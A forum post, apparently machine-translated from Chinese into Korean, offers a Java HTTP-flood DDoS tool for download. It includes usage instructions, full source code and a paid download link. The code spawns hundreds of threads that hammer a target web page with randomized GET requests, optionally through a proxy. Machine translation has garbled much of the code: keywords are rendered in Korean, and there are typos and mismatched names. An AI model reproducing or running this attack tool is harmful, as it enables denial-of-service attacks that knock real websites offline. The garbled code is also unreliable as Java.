jar 코드 dDOS 공격은 자바가 구현했습니다. 하지만 전통적인 dDos와 다르지 않습니다. 이 소프트웨어는 페이지에 대한 DDOS 공격입니다. 사용 방법: Java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80
[mw_shl_code=java,true]import java.io.IOException; import java.net.ConnectException; import java.net.InetSocketAddress; java.nio.ByteBuffer를 import; import java.nio.channels.SelectionKey; import java.nio.channels.Selector; java.nio.channels.SocketChannel을 import; import java.util.Iterator; java.util.Random을 import; import java.util.Set; import java.util.Timer; import java.util.TimerTask; java.util.Vector를 import;
/** * 데몬 실들
* * @author 행정
* */ 공개 클래스 테스트 { 개인 스트링 호스트, uri, param; 개인 국제 항구; 개인 최종 벡터<CCDDOSThread> v = 새로운 벡터<CCDDOSThread>(); private InetSocketAddress isa; private int threadsCount = 500; 스레드 수 개인 랜덤 r = 새로운 랜덤(); 개인 롱 타임아웃 = 5000리터;
/** * 공격을 개시 */ Public Void Start() { (정수: i = 0; 저는 threadsCount를 <합니다; i++) { CCDDOSThread(t = new CCDDOSThread(); V.AD(T); t.start();
} 타이머 t = 새로운 타이머(); t.schedule(new TimerTask() { Public Void Run() { 정정 수 = 0, 타임아웃 스레드 = 0; long ct = System.currentTimeMillis(); (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); 만약 (th.isCancle() || !th.isAlive()) { it.remove(); th = null; count++; } 그렇지 않으면 (ct - th.start > 타임아웃) { 타임아웃, 외부 종료 timeoutthreads++; th.setCancle(true); th.interrupt(); it.remove(); th = null; count++; } } 만약 (count == 0) { 돌아오다; } System.out.println("스레드가 닫혔습니다:"+count+", 여기서 타임아웃 스레드는 연결되어 있습니다:" + 타임아웃 스레드); (정수: i = 0; 세< 거야; i++) { CCDDOSThread th = new CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println("데몬 스레드 시작:"); }
/** * @param args */ public static void main(String[] args) { 만약 (args.length < 6) { System.out.println("명령어:"); 시스템.아웃 .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } 그렇지 않으면 (args.length >= 8) { 에이전트와 연결해 주세요 System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
테스트 M = 새 테스트(); m.host = args[0]; m.port = Integer.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Integer.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = new InetSocketAddress(m.host, m.port); m.start(); }
/** * 공격 스레드 * * 장홍보 @author * */ class CCDDOSThreads extends Thread { 개인 불 캔클 = false; 공개 롱 스타트 = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
public boolean isCancle() { 캔클을 되돌려; }
Public Void Run() { long start = System.currentTimeMillis(); 셀렉터 셀렉터; 시도해 { selector = Selector.open(); 소켓채널 sc; 시도해 { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); 칸클 = 참; selector.close(); 돌아오다; }
sc.configureBlocking(false); sc.register(selector, SelectionKey.OP_WRITE | SelectionKey.OP_READ); 잠시 기다려: while (selector.select() > 0 & & !cancle) { if (System.currentTimeMillis() - 타임아웃 > 시작) { 칸클 = 참; 휴식; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); 반면 (it.hasNext() & & !cancle) { if (System.currentTimeMillis() - 타임아웃 > 시작) { 칸클 = 참; 휴식; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); 소켓채널 scc = (소켓채널) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { 문자열 헤드 = "GET " + uri + "?" + 파라m + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "호스트: " + 호스트 + "\r\n" + "Connection:close\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(BBF); } skey.cancel(); sccc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { 칸클 = 참; } } }
} [/mw_shl_code]
완성품 및 소스 코드 다운로드:
java ddos.zip
(8.42 KB, 다운로드 횟수: 0, 판매 가격: 2 그레인 MB)
|